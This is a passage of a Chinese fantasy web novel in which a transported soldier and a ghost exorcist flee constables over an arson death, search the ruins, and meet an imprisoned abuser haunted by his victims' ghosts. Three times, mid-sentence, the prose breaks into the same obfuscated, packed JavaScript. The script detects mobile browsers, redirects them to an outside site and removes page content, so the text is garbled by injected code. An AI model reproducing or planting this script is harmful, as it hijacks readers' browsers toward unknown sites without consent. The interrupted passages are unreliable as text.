“你真没事吗?”薛戬看着顾今安苍白得夸张的面色有些不确定。 “没……”顾今安顿了一下,一只宽大温暖的手探到了他额头上。 “冰的?”薛戬本来想探他发烧没有,结果却摸了一手尸体一样的冰凉,他又握了一下顾今安的手,同样冰得可怕。 “你不会死吧?” “……”顾今安:“不会。休息一下便好。” “那你休息。”薛戬拿走他压在身下的大氅,又扯过被子把他裹得严严实实,灭了蜡烛,自己却并没回到之前的地铺,而是直接在顾今安身旁躺下来。 ?顾今安侧头看向他。 薛戬感觉到了他的视线,闭上眼睛不准备理会他,一切尽在不言中。 ——任谁大半夜醒来和床底板上趴着的鬼大眼瞪小眼还会想往地上睡? 顾今安也没说话,扯过自己的被子要分他一半。 “你自己盖好。”薛戬给他压回去,整个人侧身半挂在床边,长手捞过地铺上的被子,给自己盖上。 夜色正浓,夜晚还长,薛戬不确定自己还能不能睡得着,思乡之情在今晚达到峰值…… 12.朝生暮死巧合如此 第二日清晨,薛戬也早就结束了他的早餐,坐在顾今安对面抱着手臂盯着他慢条斯理地喝粥,喝了半天,粥还剩一大半碗,桌上那个油纸包着的白面饼还一动没动。 顾今安模样憔悴,在堵坊被骰蛊砸到的额角青了一块,昨夜因头晕而睡眠不足,眼下带着青影,一副被吸了阳气的模样,喝粥都喝得有气无力。 此时正是早点时间,这客栈虽是破破烂烂,但胜在价格低廉,且收容五湖四海之人士,五行八作一视同仁,遂食客满座,大堂人来人往,甚是热闹。 嘈杂交谈之声四面而来,东桌在谈妇孺拐卖妻离子散之痛,西桌在说昨夜城东走水之惨,北桌在聊今日之行程,而这桌在提暗号一事—— “暗号?”顾今安没什么胃口地用勺子搅了搅白粥,看向薛戬。 “嗯,定个暗号。以免再遇到昨晚那种有人冒充你,我分不清的情况。”薛戬觉得现下这大堂再是热闹,昨夜那间满是碎尸的房间还有那个血肉模糊肢体扭曲的人依旧在他脑海中挥之不去,更何况那个什么魅鬼还有再次出现的可能,这次是模仿顾今安的声音,下一次保不准模仿什么。 “它昨夜模仿我?”顾今安诧异。 昨夜顾今安头晕得不行,没闲工夫深究薛戬受何蛊惑而突然停下打开了柜门,当时自己也离得远,并未听见什么声音,而且魅鬼蛊惑人心之伎俩层出不穷,也没有非知道不可的必要。 原来是因为那魅鬼在模仿他。 “所以说,定个暗号。”薛戬再次强调。 “它是如何模仿我的?”显然,顾今安更关心的是别的问题。 “模仿你的声音。” “也就是说,我一个大活人立在你面前,你却偏信了橱柜里我的‘声音’?”顾今安抓住重点。 “……”这事儿要细说起来,薛戬确实理亏,挽回道:“他在求救。” 顾今安盯着他。 薛戬被他盯得心里发毛,移开视线,手欠地把那碟顾今安显然不爱吃的咸菜倒进他的白粥里,“赶紧吃,喝个白稀饭你以为吃席呢。” “……”顾今安用勺子把他倒进来的咸萝卜干嫌弃地扒拉到碗边,问道:“你想如何定暗号?” 薛戬想了想,要定一个绝对不会被模仿到的暗号,应该是含有现代元素、古代没有的—— “就定‘富强民主文明和谐,自由平等公正法治,爱国敬业诚信友善’。” 顾今安:“啊?” “背下来。” “……” “这句描述的可是你的世界?” “啊对。” 顾今安大概理解了这句话的意思,暗自对薛戬所在的“桃花源”景仰愈深。 薛戬想着,只有言语上的暗号似乎不太够,万一到时候顾今安说不出话来呢? 薛戬道:“还需要一个手势。” 刚背下24个字的顾今安:“是何手势。” 薛戬想定竖中指,够现代吧,但好像不太好……要不比个爱心?和和美美。 薛戬两只手比划了半天才比出一个正确的爱心,“这样。” 顾今安认真看着那双骨节分明的手比出的那个笨拙的爱心,郑重点头,表示记住了。 薛戬表示很满意。 “你们可知昨夜城东陶大人家走水一事?”隔壁新来了三个食客也在讨论城东走水。 “啊?可有这事?” “严重吗?” “一家老小全烧死了,只逃出来几个奴役,你说严重不!” “啊!陶大人烧死了?没逃出来?” “是啊。” “看来属实是‘恶人有恶报’,他死了岂非好事一桩?仗着衙门那点关系横行霸道终日。” “那为何着火,可有眉目?” “尚不知,衙门的正为此奔波,听说与他熟识的那位官府大人勃然大怒,势必为他报这血海深仇。” “哎哟,那可出大事了。” “你们觉得是谁干的?” “还用说吗?那定然是他招惹的仇家呗。多的是人恨他。” “查估计难查,大家都是背里恨,明里谁敢跟他对着干啊?” “诶!还真有,昨日不是听人说他在赌坊与人斗殴吗?” “啊?细说。” 薛戬等着顾今安继续慢条斯理地喝粥,同时听着隔壁桌的对话,越听越觉得不对劲儿,还没来得及听他们“细说”,远处一阵马蹄声让他的目光越过大堂几桌食客落在门口处——几个捕快正和掌柜说着什么,捕快的目光一直在大堂里探寻。 多年执行任务的经验让薛戬十分敏锐,顿时心下一凛,扣住顾今安的手腕拉着他走。 “怎么?”顾今安还没喝完粥,仓促扔下勺子被他拉走,茫然看向大堂,正好看到掌柜似乎指向了他们这边,捕快看了过来。 这些捕快似乎是来找他们的。 两人绕到大堂最后面,溜进了厨房。 “御鬼师站住!”后面传来了捕快的爆呵,人群也开始骚动起来。 厨房的构造与昨夜二人在魅鬼幻境看见的如出一辙,也有那扇直通街道的后门。 冥冥之中他们又从这扇门出去了。 薛戬拉着顾今安熟练地混进街道人流,远离此地。 “捕快寻我们该是因为昨日与我们在赌坊冲突之人殁于火中。”顾今安道。 “你听到了?”薛戬挑眉,他还以为顾今安在认真喝粥。 听旁边那桌人描述的“陶大人”很难不联想到昨日赌坊那个蛮横的胖子,他自诩甚高,并且昨日在赌坊与他们冲突,很符合三人所诉。 本来他们也只是怀疑,可是现在官兵都来找他们了,那就是八九不离十——两人心照不宣。 “白日冲突,夜里死,想不怀疑我们都难。”薛戬道,“草,怎么这么巧他就死了。” 薛戬看见远处街道上巡视的捕快,拉着顾今安拐进了一旁巷陌。 “大街小巷皆是捕快,四处问询路人寻我们踪迹,兴许要不了多久还会挂上悬赏。城门肯定也封上了,严查往来之人。”顾今安顺从地跟着他躲藏,嘴上却道:“躲不掉的,被抓住是迟早的。” 那桌人还提到陶大人在衙门有关系,陶大人能横行霸道,那么与之关系之人定然位高权重,那桌人说此人因他身死勃然大怒,定不会善罢甘休,衙门定然全力彻查到底。 他们能逃脱的希望渺茫。 “依你看,能被抓吗?”薛戬问,“我不了解你们这地方,你们的警察可靠吗?昨天晚上我们到这个旅馆住下后就没有出门,老板可以为我们证明,我们有不在场证据。一般这种,跟着警察回警局配合调查、录录口供就可以离开了。” 顾今安自行理解了一下“旅馆”、“警察”、“警局”,摇头答道:“能翻窗离开的大有人在,客栈老板并不能为每位客人证明行踪。” 是了。这个世界会飞檐走壁的人可不少。而且房屋楼层普遍低矮,又没有防护栏,可以抓握的房梁也多,薛戬之前跳楼跳得也是轻轻松松。 “那你说怎么办?”薛戬思来想去觉得不能被抓,没人证明他们不在场,而且按照刚才那桌人说的,别人明面都不敢和那个陶大人对着干,找到真凶估计没那么容易。 他们在明真凶在暗。 更何况这古代没有监控,也不能查指纹,要找到真凶更是难上加难,他们短期内很难洗清嫌疑,被抓的话,不知猴年马月才能出狱了,薛戬还等着回自己原本的世界。 怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046338|161473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好巧不巧,昨天和他们打了一架的人晚上就死了呢? 够呛够倒霉的。 “你走吧,我出去。那捕快喊的是‘御鬼师’。”顾今安道。自己被抓,薛戬是有时间出城的,这是目前较好的办法了。 “不行。”薛戬捏紧了他的手腕。顾今安那什么兄长兴许知道自己该怎么回去,如果顾今安被抓,那他回去的线索不就断了? 顾今安知道他的想法,从囊里翻出了一个玉环递给他,“我的信物给你,交与那位兄长他会识得的。” 薛戬的目光落向他手中的玉环。 小巷幽深,街头人语响在远处。风拂过,树叶响得微微。 顾今安看着薛戬伸手拿走玉环,眸光闪了闪。 可下一步,薛戬却是将玉环塞回了他的囊里。 顾今安抬眸看向他。 “你真是比我们敢死小队还大义凛然。”薛戬被顾今安气笑了,拉着他手腕让他站到巷道内侧,自己背朝外用高大身形挡住他一身显眼的御鬼师行头。 参天古木一身枯叶投下浓厚的阴影,在小巷处形成一个暗角,两人正栖身于此。 顾今安看着他,不知他作何打算。 曾有一人要了他两块铜钱许诺带他去一户想寻御鬼师解决家中怨鬼的人家,结果那人把他带入深林后半路带着铜钱溜走了,留他一人在深山老林饿着肚子走了两天才走出去。 顾今安有被骗的愠意,但更多的是同情,那人为了两个铜板得大费周章编个借口,走长长的路进去林中,还要想方设法脱身。 可见在这摇摇欲坠艰难维持着表面安稳的乱世,两枚铜板弥足珍贵。 世道如此,人心如是,顾今安不怕被骗,就怕对方说的是真的,也许真有人需要他、真有人有倒悬之急——就像薛戬打开那个橱柜。 方才顾今安本以为薛戬会拿了玉环离开,毕竟这可不止两个铜板,更何况身陷囫囵,再者,他们交情尚浅。 薛戬道,“我们自己去找真凶就行了吧?” 在这种没人为他们正名的情况下,最好的脱身方法确实是找到真凶,可…… “怎么找?”顾今安眨了两下眼睛。 “白天你跟我走,我们先躲过那些捕快。”薛戬道。 出生特种兵,薛戬的反侦察能力可不是盖的,而且在这古代没有手机通讯器,捕快与捕快之间不能立马传信息来围追堵截,更何况没有枪支弹药大炮战车,要脱身对他来说易如反掌。 “我们晚上去城东,范围都划定了,要找到一座烧焦的废墟不难,我们到时候去现场找线索,你也看看是不是鬼做的,是不是和陈老太有关——你不是说她放火烧了青楼吗?”薛戬说出计划。 顾今安并不乐观,“能躲到夜里进入废墟吗?那废墟定然也会有人把守。” “能。”薛戬道。 “好。”顾今安怎样都行。 薛戬合计了一下。 所以他们现在要找出杀那个陶胖子的真凶,要查陈老太的事,又要躲避衙门的追捕,对了,还要提防那个丑了吧唧的魅鬼。 真是人和鬼没一个让他们安生的。 大老远跑来这个乌城,惹一身臊。 没办法,这个浑水薛戬义不容辞,毕竟仔细想想,落到现在的处境多多少少也有他一份。 人怎么能捅这么大的篓子。 薛戬从怀里掏出一个用油纸包着的白面饼递给顾今安,“趁现在快吃——吃得慢死了!” 这饼是方才他拉着顾今安跑路的时候顺手给他拿的,顾今安一碗粥还没喝完,肯定不够填饱肚子。 “午饭晚饭可能没地方吃了。”薛戬道。 顾今安有些诧异,接过饼来,“多谢。留着今日路上饿了吃吧。” 13.火烧宅院诸般疑点 薛戬说能,那是真的能,带着顾今安躲躲藏藏,两人当真混到了夜里。 白日里捕快寻不到人耐心渐尽,出动的人也渐增,但城大,衙役在城中各地,很是分散,要避开并不难。 薛戬本来还担心如果衙门出了画像,挂了悬赏,城中人见了会一起来拦他们,到时候众人围追堵截就难了,所幸那个画像画得可谓四不像,属实比不上现代的照片。 ——与他们起冲突的陶姓男子已经死了,他那两个贴身护卫凶多吉少,再见过他们的人就是昨日赌坊里的那些赌徒,而早上客栈门口的捕快并没有带证人来指认他们,他们也遛得足够快,捕快未必看清楚了脸。 所以,估计现在衙门得到的信息比较少,都是些口头描述的东西。 二人今日也只是稍微遮掩了一下,主要是用衣袍遮了遮顾今安的御鬼师行头。 薛戬的分析是正确的,衙门这边确实只知道是一个御鬼师和一个身型高大的男子。 他们寻昨日赌坊的人来描述这两人长相,只说都长得挺俊。 衙门画师根据证人所述来画像,在众人天花乱坠的描述中,成功把顾今安画成了一个倾国倾城的美女,把薛戬画成了一个身强力壮恶名昭著的凶悍土匪。 光凭画像,街上的人认得出来才怪,连捕快也未必认得出来吧,于是每帮捕快都带了个见过两人的赌坊证人,城门口也站了证人怕他们出城逃走。 这可把别人的正事耽误坏了。 一天下来啥也没捞着,证人都不干了。 薛戬对此嗤之以鼻,毕竟不是赌坊的每个人都把他们记得那么清楚,耗费人力用处还不大。 没找到人,到最后衙门甚至怀疑他们昨夜就出城跑了,早上客栈撞见的不是昨天赌坊两人。 于是衙门已经在商量知会邻城一同搜捕二人了。 夜里,巡逻的严格程度直线下降,按照计划,两人正朝烧毁的废墟逼近。 因为昨日走水死了不少人,城东人心惶惶,时值人定,万家灯火犹未熄,路上却几乎不见行人,街道死寂。 薛戬突然停下脚步警觉地拉住顾今安带他拐进小巷,把他压到墙上,扯起衣袍遮住他的脸。 此地近烟花柳巷,这姿势是两人商量好的。 人影渐渐逼近。 薛戬朝顾今安凑近几分。 人影从巷口悠悠飘过。 草,又是游魂。 薛戬无语。今天已经发生很多次这样的事了,没被捕快吓到,被游魂恶鬼搞得一惊一乍的。 都是自己吓自己~ “你准备怎么查废墟?”顾今安开口,两人离得太近了,他的目光都不知道放哪儿了。 薛戬退后拉开距离,“路上你也听到了路人的议论——那火不知道是怎么烧起来的。我也不确定能发现什么,过去随便看看吧。” 两人绕过一个街道已经能看到那座烧黑坍塌的废墟了,空气中弥漫着呛鼻的焦臭气息,炭灰随风飘了很远,覆盖着周围的建筑。 任谁来看了都要道一声可惜—— 偌大的奢华宅院,囊括后花园有方圆数百米,毁坏得一干二净,皆化作废墟。 倒座房毁坏,瓦片都砸到大街上来了,白日里已经被人清理到了路边,零星小碎片被路人踢得到处都是。 宅门大敞开,有半扇门已经歪斜快要脱落,能窥见内院的景象——影壁倒塌,几个厢房的房梁被烧断了,屋顶斜砸在地上,遍地是碎瓦,盆景树枝也烧成炭色。地上残留着水与炭灰混在一起的污渍——是灭火时留下的。 疮痍满目。 四邻相隔甚远,这废墟在夜色中像一座死气弥漫的孤岛。 往日有多金碧辉煌,现下就有多破败辛酸。 薛戬道:“你不觉得奇怪吗?这么大个宅院,里面还有好几个房子,这个房那个房的,房与房之间也不相连,如果只是由某一处着火,人也是能逃出来的,说不定院内的人就能把火熄灭了,不至于死伤那么惨重——除非是整个院子同时着火,四处都是火,而且是大火,最好还要把大门锁住了出不来,这个死伤才说得过去。” 薛戬继续道:“而且看这个宅子烧得这么彻底,没一处好的,要烧成这样应该是有好几个着火点,让院内的人来不及灭火。” “整个宅院面积大,一两个人点火是忙不过来的,所以要么就是团伙作案,几个地方同时放火;要么……就是有鬼了。” “你觉得呢?”薛戬回头看向顾今安,顿时觉得不对劲儿,皱起眉来,“你怎么了?” 顾今安脸色苍白,呼吸急促,躲在后面看不到烧焦宅院的地方,问他也没反应。 “还好吗?”薛戬走过去看他。 “没……没怎么。”顾今安抬起一手扶住额角,手在微微发抖,“只是……气味有些不好闻。” 他没想到自己还这般严重,他以为还好,可当再次亲眼看到这惨状,从前的记忆便如洪水一般决堤而来,一幕幕犹在眼前。 根深蒂固的恐惧。 薛戬抓住他挡着眼睛的手,拉开来垂眸看他。 顾今安抬眸对上薛戬的眼睛,眼神有些失焦。 “不像没事的样子。”薛戬观察他,伸手探了探他脸,也不是昨夜的那种尸体般的冰冷。 那这是怎么了?如果只是不喜欢这个焦味,反应未免有些夸张了。 难道怕看到烧焦的房子?PTSD?(注1) 顾今安垂眸没有再说话。 薛戬看了他一会儿,“你就躲在这里等我,我过去看看再来找你。”说着便拉着顾今安到巷道最隐蔽的地方。 薛戬也没听到个回复,像拉着一具行尸走肉。 薛戬让顾今安蹲在堆积的杂物后面,见他还是一副眼神发直的样子,出声唤他,“顾怀。” “嗯?”顾今安勉强抬眸,“好。你小心。” 薛戬不放心地回头看了一眼确定顾今安所在的地方足够隐蔽不易被发现,才一个人走了。 他避开守在那房子附近的捕快,绕着宅院外墙看了看,没发现有故意堆放的可燃物和纵火的痕迹。 但是也不是不可以把火把扔进去点火,薛戬思考了一下——确实不排除这种可能性。 他看了一眼墙,这个高度……如果着火了要逃命怎么也翻得出来吧?里面的人为什么不翻墙逃跑? 他翻进了墙内,进到院子里才觉得真是一片狼藉,焦臭的气味浓烈得呛鼻,内里几乎没有一座房屋是完好的,惨不忍睹。 顾今安在外面就已经那样了,那进来不得直接晕倒? 薛戬大概观察了一下,这里显然已经在白天被衙役清理过了,尸体都已经搬走了。 他四处走了一圈,墙都烧黑了,分辨不出着火点,但同样也没发现故意堆放可燃物的痕迹。 既然说是无名火,别说是他,衙役们显然也没有在院外院内发现任何故意纵火的痕迹。 看目前情况,薛戬唯一想到的可能性就是——外墙围了一群人朝院内扔火把,再从外锁紧大门让里面的人逃不出来,看到有人翻墙就给他一棒子打回去。陶宅周围比邻的住户离得又远,等他们发现赶来救火时,火势已经相当严重了,于是几乎所有人都葬身火海。 但是当薛戬站在损坏的门前时,这个可能性变得极其小了。 大门是被暴力破开的不错,而且是从院外破开的,外侧门上全是巨物碰撞的痕迹,类似大木桩和铁锤,应该是外面的人救援时留下的。这些都对得上猜测。 怪就怪在,薛戬想到的那把锁不在外侧,而在内侧,并且上面还插着钥匙,并且是打开的状态。 也就是说,这门并不是凶手从外面锁住的,而是被正常锁在里面的看门锁锁住的。 看得出来,当时院内的人逃跑时是用钥匙打开了锁的,但是锁开了门却打不开,他们逃不出去,于是外面的人开始破门,门被破开后,里面的人都死得差不多了,只逃出来几个幸运的奴役。 那为什么打不开门?又为什么不能翻墙? 薛戬唯一想到的可能性是—— 有鬼。 想让他们全都死。 路上顾今安也告诉薛戬了,御鬼师不能在案发现场直接感知是不是鬼干的,如果能的话,以前又何必安排衙门先查、御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15054474|161473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼师再查的顺序呢?先让御鬼师感知,再让衙门查岂不是更省事? 所以要查是不是某个鬼干的也挺费劲儿的。 具体怎么查,顾今安说很复杂,但是首先可以先问问周围的游魂或者恶鬼——如果他们没有被更强的鬼威胁的话。 果然让薛戬抓到个立在墙边的游魂,试探着问道,“你知道是谁放的火吗?” 那游魂顿时尖叫着跑走了——应该是叫了,没声,反正是张圆了个嘴。 “……”薛戬觉得可能是顾今安说的被威胁了,才不是因为他吓人。 薛戬踩着地上灭火的水,又逛了逛,都被烧得一干二净了,再没什么新发现了。 他觉得有必要问一下逃出来的奴仆当时到底是怎么回事。可是去哪找他们?这得和顾怀商量一下。 薛戬都准备翻墙走了,却看到有个恶鬼正佝偻地趴在墙角贪婪吃着什么烧黑的东西。 夜色浓郁,只能借月光和周围灯火视物,看东西不能说很清晰,特别是在昏暗的墙角。 薛戬模糊看着他应该在吃一只烧黑的断手,估计是清理尸体遗漏的。 薛戬决定再问问它,“你知道是谁放的火吗?” 恶鬼理也不理他,忘情地啃着断手。 “问你话!”薛戬显然对它没什么耐心,呵斥道。 满脸脓包的恶鬼一双灰白的死人眼顿时看向了他,龇牙咧嘴,露出黄黑的獠牙,从喉头发出野兽般的咕噜声。 还挺凶。薛戬怀疑它根本听不懂人话,正准备放弃,这恶鬼居然张开血盆大口扑了上来! 薛戬反应极快,抬脚狠狠踹了过去! 恶鬼被踹出老远,落在废墟间,发出动物般的痛苦呜咽。 薛戬把丑鬼,不对,是恶鬼,和野兽划上了等号。 “什么人!” 院外突然有人喊了一声。 薛戬眸光一凛,朝声音反方向遁走,跃上墙翻了出去,动作干净利落。 远处传来很多脚步声和人交谈的声音。 薛戬心道坏了,人声前去的方向不是顾今安所在的巷口吗? * 顾今安听到有人喊“什么人”,以为薛戬暴露了,怕他被抓,刚探出个头想看一眼就被一圈火把围住了。 “抓住他!” 几个身强力壮的捕快把顾今安扣住了。 没想到是自己这边暴露了。 * 薛戬绕过墙朝外一看,正看见顾今安被几个拿着火把的捕快带出了巷子。 草!明明那么隐蔽怎么还是被发现了。 他刚准备出去直接干架把顾今安救出来,却见街道两头陆陆续续赶来了不少举着火把的衙役。 人数众多,且地形没有优势,如果打着打着来更多人就麻烦了。 他现在出去绝非智举。 顾今安倒是安之若素,只是目光有意避开那烧焦的废墟。 “就是他,诶,他还有个俊郎君同伴,应该在附近吧?”一个女声道。 薛戬觉得声音耳熟,错开一步躲在墙后朝声音来处看去——是昨日赌坊让他帮着押一局的黄衣女人。 她应该是被作为证人夜里和衙役随行来指认他们的。 “同伴?”顾今安道,“姑娘是指我雇主吗?昨日帮他做完事,他便早早出城离去了。” 那黄衣姑娘笑起来,“他是你雇主?可我怎么觉着他倒是挺维护你的?” “怎会?姑娘还不知御鬼师处境?”顾今安笑道。 沈熹宁不依不饶,对身旁的捕快道:“肯定是他同伴,昨日和这家人冲突的是他们两个人,那个郎君和他们打得还要厉害些——我也跟你们说过了。他现在肯定在附近,你们找找吧。” “自然听沈姑娘的。”那捕快看起来地位稍高,吩咐两个捕快留下在附近继续搜索,剩下的人押着顾今安回去。 “沈姑娘,今日多谢相助。时辰不早了,沈姑娘便回去歇息吧,剩下的就交与我等。”那捕快头对那黄衣女子道。 薛戬绕开来找他的两个捕快,远远坠在顾今安后面,跟上去看他们要把他带去哪儿。 14.囹圄遇鬼述往日伤 衙门的牢房蜿蜒在一片昏暗的烛光里,汗臭、脚臭、粪尿臭刺鼻,混合霉味,比猪圈羊窝有过之而无不及。 火光摇曳,映照出一间间铁栅栏后面关着的野兽——杀人放火之徒、烧杀抢夺之辈、奸淫掳掠之流。 离经叛道,蔑视世间礼法。 脚镣手镣与铁门铿锵碰撞,他们蓬头垢面,形貌鄙陋,眼睛闪着嗜血罪恶的光。他们在大声叫喊,骂出粗鄙之语。 狱吏一路走一路呵斥他们,两方愤怒之声混杂一室。 在顾今安的眼里,这里还盘桓这无数怨恨的鬼影,在蚕食着害他们之人的魂魄。 顾今安被押着粗暴地扔进了间空牢笼。狱卒咒骂他几句落上锁离去,罪囚的叫骂声随着他们的行迹此起彼伏。 “当!”顾今安隔壁的刑徒猛地趴在了他们之间的铁栏上,手腕的镣铐撞击到铁栏杆上发出巨大响声。 这人瘦骨如柴,满身污垢,瞪大的眼睛闪烁着疯癫的意味,他裂开嘴大笑起来,牙齿发黄带黑残缺不全。 “哈哈哈哈哈哈!又来了个御鬼师!上月他们方才打死两个!又来一个!哈哈哈哈哈哈!又要被打死!” 他伸出手指着顾今安,裂口的指甲缝里全是污泥,“落到这牢笼,御鬼师就不是人了!你会被打死的!会被打死!哈哈哈哈哈哈!你会被打死!打死!” 顾今安没有理他,拖着脚镣坐到了角落里脏兮兮的硬床上,喘了口气。 “你已经被打了吧!你已经被打了!哈哈哈哈哈哈!被打了!”那人还指着他发疯,“被打得不轻!快死了快死了!哈哈哈哈哈哈!” “你怎么进来的?”另一边的罪囚用苍老的声音问询顾今安,满头白发结满污垢,蓬乱地遮住半张烧毁的脸,完好的另一半脸布满沧桑皱纹,眼皮耷拉几乎看不清他混沌的眼珠。此人虽蓬头历齿但至少看起来情绪稍微正常。 “被冤枉。”顾今安答道。 那老罪囚笑起来,笑声嘶哑,“好巧,我也是被冤枉,这里所有人都是被冤枉的!” 看来也没多正常。 顾今安头疲惫地靠着墙,对他的调侃并无愠意,侧着脸看着他,“你不像被冤枉。” “你怎知道?”那罪囚用那只浑浊发白的眼睛看着他,因为烧伤他那半张嘴闭不上,露出牙齿和牙龈,完好的另一半嘴却在笑着,那模样像个恶鬼。 “他们说的。” “他们?” 顾今安抬手指了指某处,手镣叮当作响。 老罪囚看向他指的地方——空无一物。 他大笑出声,“你们御鬼师杀人无数倒与我投缘,若要说身后有什么腌臜之物,你们怕是比我多得多!我今年越古稀,一把老骨头,若真有你说的那玄乎的东西我岂会活至今日?更何况身陷这囹圄已三十余年,日复一日,相安无事,你也不必唬我。” “是,你为何还活着?”顾今安认真疑惑起来。 “你说什么?!”老罪囚被他这冒犯的一问问得怒上心头。 顾今安不温不火继续道:“他们托我告知与你——他们四人被你拐卖至外地,被你虐杀,惨死他乡,追你至此必要你不得好死。” 顾今安转述完话后顿觉疑惑。四人?这里不是只有三“人”吗? ——三个面色苍白的“人”站在老罪囚牢笼的角落里。 一个女子被割了舌头,卸了下巴,一张嘴闭不上一直在淌血,流得衣襟浸湿了一大片;另一个女子被掏了眼珠子,一双眼窝空荡荡全是血,血趟过苍白的脸颊;还有个七八岁的小男孩,被开膛破肚,肠子从肚子拖到地上,正被没有眼珠的女人牵着。 老罪囚闻言收敛了神色,坐起身,他那半张被头发遮住的脸完全露了出来,皮肤纵横崎岖无一处完好,那半边眼睛被融化的皮肤封住,估计是不能视物了。 他再次看回顾今安所指的那个方向,他依旧什么也没看见,但一个初次见面的人对他说出这般话,事态确实不对劲儿了。 顾今安坐在阴影里,看不清他的脸,清洌嗓音平静地转述:“他们说——从岐州跨过浚江至贶城,远渡三万余里,有家难归,沦为玩物,受尽非人虐待,埋骨荒原,此痛必加倍奉还,梦中梦外必让你不得安宁,食你肉骨、啖你魂魄,让你感受挖眼割舌之痛,开膛破肚之殇。待你行刑死去,必撕扯你的魂魄令你永坠地狱不得轮回。” 这清朗好听的声音却让人听得头皮发麻。 老罪囚越听脸色越是惨白,最终仓皇失措,苍老沙哑的声音也变得尖锐起来,“什么……不是说不会再来了吗!死…死后……地狱……怎会如此?不可能不可能!我有护身符,那个御鬼师说他已然收了陈婉,陈婉断不会再……他从未提及还有其他鬼……” 陈婉?陈老太? 顾今安一怔。 陈老太也和这个老囚徒有渊源? 所以,第四个“人”是陈婉? 老罪囚顿时失了神智,顾今安都说对了,他都知道了!那肯定是真的!是真的!他身后跟着“那四个人”。有什么东西超出了他的预想,脱离了掌控,他惊恐万状地喃喃自语,“不可能不可能……” 铁栏外的火把火势顿时暴起!迅猛地扑腾着,光影撕拉变换。 三个鬼影咧嘴笑了。 “你是御鬼师,帮我!鬼…鬼在哪儿?不得轮回…不可能!你说四个……我知道我知道!是他们!是他们!有陈婉……他们都守着我等着我死!不是说有护身符就万无一失了吗!”老罪囚苍老可怖的脸爬上了近乎扭曲的惶恐,胸膛剧烈起伏,他粗糙的手摸到自己胸前,似乎衣服下正是他所谓的护身符。 护身符……顾今安突然想到了牛七尸体上的护身符。 “可以给我看看你那护身符吗?”他鬼使神差地问道。 “你要帮我?当然…当然!” 老罪囚腿脚不利索,几乎是扑到他们之间的铁栏旁的,两手抓着铁栏杆稳住身形,又颤巍巍地捞出了那个贴身挂在他脖子上的护身符,浑浊的独眼求救地看着顾今安,“可以给你看,只要你帮我……救我……把他们赶走把他们赶走!” 这本该是一位长者,但所行之事灭绝人性,身处老境也让人生不出半分敬重之心。 顾今安靠过去,借着火光端详那护身符,顿时皱紧了眉,这个护身符和牛七尸体上那个一模一样!同样的木牌,刻着同样的久远神形象。 久远神只在御鬼师的传说里,没人真正见过他,所以流传的关于他的画作和雕刻亦是百怪千奇。 顾今安是第一次见如此形容的久远神,且间隔不久还见到了两个一样的。 是同一个人给他们的吗? “是谁给你的?”顾今安问道。 老罪囚有些失神,有问必答,“一位御鬼师,四十三年前他救我于大火之中,并给了我这护身符,说我自可高枕无忧,不会再有鬼敢寻我。” 四十三年前。这么久远? 死去的牛七年岁不过而立,观他木牌新旧,应该是挂上不太久。也就是说这个御鬼师给木牌的习惯维持了这么多年? 老罪囚粗糙的手摸上了那半张烧毁的脸,“那个火是陈婉放的……她想烧死我……” 陈婉放的火?难道这个御鬼师给了所有与陈老太有关的人一个同样的护身符?不对,四十三年前陈婉还尚且不是鬼,除非这位御鬼师知道什么,能预知到后来的事。 还有,四十三年……这个时间和那位客栈老板提到的陈婉不再去看儿子的时间吻合。 “你与陈婉是何关系?”顾今安问道。 “我……”老罪囚手握着护身符,“是她儿子的爹。” 所以当年陈婉作为童养媳是在这个老罪囚家中,并为他生育一子。 “我救了她,对她那般好,她竟然忘恩负义,烧了我们的儿子!还想烧死我!咳咳咳咳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15056963|161473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”老罪囚因情绪激动猛烈咳嗽了起来。 陈婉烧死了自己的儿子? 所以她之后再也不用去看儿子了,可是她当时很是开心……对于一个生活拮据却坚持去看儿子的女人来说,似乎于理不合吧? “他撒谎!!”一个尖锐刺耳的女声在顾今安身后响起。 他一回头便对上了那三张恐怖的脸。 说话的女子脸色灰白,一双眼窝里空荡荡全是血,嘴角诡异地勾着。 “他撒谎!他拐走了好多人,十个、二十个!我们四个——包括陈婉,也是被他拐来的,他没有卖我们,他一个人霸占了我们,他是疯子!他残忍!他禽兽不如!他把我们害成了这样!我虐待我们!欺辱我们!逃都逃不掉!” “他花言巧语骗了陈婉,说会对她好,逼她怀上孩子,却又屡次像对待我们一样虐待她!她有好多伤……她还怀着孕!待她生下儿子后他就把陈婉卖去了青楼还他的赌债!”无眼的女人咬牙切齿地说道。 陈婉不是被赶出门,也不是自己逃走的,而是被丈夫卖去了青楼的。 卖她的是她朝夕相对之人。 